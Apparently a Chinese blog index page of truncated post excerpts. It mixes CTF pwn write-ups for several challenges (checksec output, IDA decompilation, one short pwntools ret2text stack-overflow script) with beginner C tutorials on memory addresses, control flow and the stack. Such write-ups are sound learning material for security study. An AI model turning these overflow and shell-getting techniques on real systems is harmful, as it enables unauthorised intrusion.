[HNCTF 2022 Week1]easyoverflowcheck一下
12345Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)
64位文件,开启了NX保护
ida静态分析
发现文件中有put(cat flag)
简单直接的ret2text
exp
12345678910111213from pwn import*context(os = 'linux',arch = 'amd64',log_level='debug')elf = ELF('./easy_overflow')p = process('./easy_overflow')payload = b'a'*(0x30+8)+p64(0x40120F)p.sendline(payload)p.interactive ...
地址何谓地址?在内存(注意:我们这里提到的内存并不是人们常说的计算机的物理内存,而是虚拟的逻辑内存空间)中,简单地说:地址就是可以唯一标识某一点的一个编号,即一个数字!我们都见过尺子,我们统一以毫米为单位,一把长1000毫米的尺子,其范围区间为0~999,而我们可以准确的找到35毫米、256毫米处的位置。
同样的道理,内存也是如此,像尺子一样线性排布,只不过这个范围远远大于尺子,在32位操作系统下,这个范围是0-4,294,967,295而地址就是这之中的一个编号而已,习惯上,在计算机里地址我们常常用其对应的十六进制数来表示,比如0x12ff7c这样。在我们的C程序中,每一个定义的变量,在内存中都占有一个内存单元,比如int类型占四个字节,char类型占一个字节等等,每个字节都位于0-294,967,295之间都有一个对应的编号,C语言允许在程序中使用变量的地址,并可以通过地址运算符 ”&“ 得到变量的地址
例如
1234567891011121314151617#include<stdio.h>int main(){ int i; ...
[HGAME 2023 week1]test_nc看题目就知道签到题,nc连接远程端口直接打就好
[watevrCTF 2019]Voting Machine 112345Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
checksec检查文件保护
发现开启了NX(堆栈不可执行)
丢ida分析一下
1234567891011121314151617int __fastcall main(int argc, const char **argv, const char **envp){ char v4[2]; // [rsp+Eh] [rbp-2h] BYREF signal(14, sig); alarm(0x28u); puts("Hello and welcome to \x1B[3mour\x1B[23m voting applicati ...
选择结构和循环结构选择结构例一 if结构123456789if(条件式){语句1语句2...语句n}
最基础的选择结构,没什么好说的,满足条件式就执行结构中的语句
例二 if-else结构12345678if(条件式){语句1语句2}else{语句3}
若条件式中的语句不成立,则跳过执行else中的语句3
例三if-else_if-else结构12345678910111213141516if(条件式1){语句1}else if(条件式2){语句2}else if(条件式3)语句3}.....else{语句n;}
先从条件式1开始执行,若成立则执行语句1,若不成立则判断条件式2,若成立则执行语句2,以此类推,直到满足任意一个条件
若没有满足任一一个条件,则执行语句n,如若没有最后的else{语句n},则不执行任何一个语句,继续执行main函数
对于三种或更多的结构,c语言提供了switch选择结构
例四 switch结构12345678910swi ...
[SWPUCTF 2022 新生赛]Does your nc work?依旧是熟悉的nc签到,不再赘述
[BJDCTF 2020]babystack2.0checksec分析
123456[*] '/mnt/hgfs/windowshare/pwn (1)' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
保护只有一个NX
不太严密
ida静态分析
12345678910111213141516171819202122232425int __fastcall main(int argc, const char **argv, const char **envp){ char buf[12]; // [rsp+0h] [rbp-10h] BYREF size_t nbytes; // [rsp+Ch] [rbp-4h] BY ...
[SWPUCTF 2021 新生赛]nc签到nc直接连接cat flag就行,没什么好说的,签到题目
[SWPUCTF 2021 新生赛]gift_pwn1234567checksec --file=1[*] '/mnt/hgfs/windowshare/1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
checksec检查文件保护,ida分析
12345int __fastcall main(int argc, const char **argv, const char **envp){ vuln(argc, argv, envp); return 0;}
发现vuln函数,跟进
123456ssize_t vuln(){ char buf[16]; // [rsp+0h] [rbp-10h] ...
Real login拿到附件直接丢ida
可以观察到题目给了system后门函数
点击main函数F5反编译成伪函数
再次点击进入func函数
观察到有if函数,进入之后发现有/bin/sh函数,可以拿到shell
返回按tab键,切换成汇编语言
找到密码,直接运行题目所给的ELF文件,输入给的密码NewStar!!!
get shell
ls
cat flag
game1234567891011121314151617181920212223void __noreturn game(){ int v0; // [rsp+0h] [rbp-10h] BYREF int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); v1 = 0; v0 = 0; puts("Let's play a game!"); alarm(5u); while ( 1 ) { ...
首先,什么是栈? 堆栈又名栈(stack),它是一种运算受限的线性表。限定仅在表尾进行插入和删除操作的线性表。这一端被称为栈顶,相对地,把另一端称为栈底。向一个栈插入新元素又称作进栈、入栈或压栈,它是把新元素放到栈顶元素的上面,使之成为新的栈顶元素;从一个栈删除元素又称作出栈或退栈,它是把栈顶元素删除掉,使其相邻的元素成为新的栈顶元素
我相信很多人第一次看到这段话都会觉得玄之又玄,栈是一种后入先出的数据结构,它与队列相反,队列是先入先出的数据结构,你可以把栈想象成一个杯子,先进入栈中的数据最后一个出栈,栈因此有了一个特性,只能在一端操作,也就是只能对栈顶操作
每次入栈的元素称为栈顶元素,而每次出栈的总是栈顶元素,所以栈是一种后入先出的线性表,在小端模式下,栈是由高地址向低地址生长,在大端模式下,栈的生长方向与其相反。一般来说,我们日常使用的计算机采取小端储存,我们默认栈底是高地址,栈顶是低地址
其次,栈有什么用? 栈用于储存函数调用的信息,包括参数,局部变量和返回地址。当一个函数被调用时,其相关信息会被压入栈中,函数执行完毕后 ...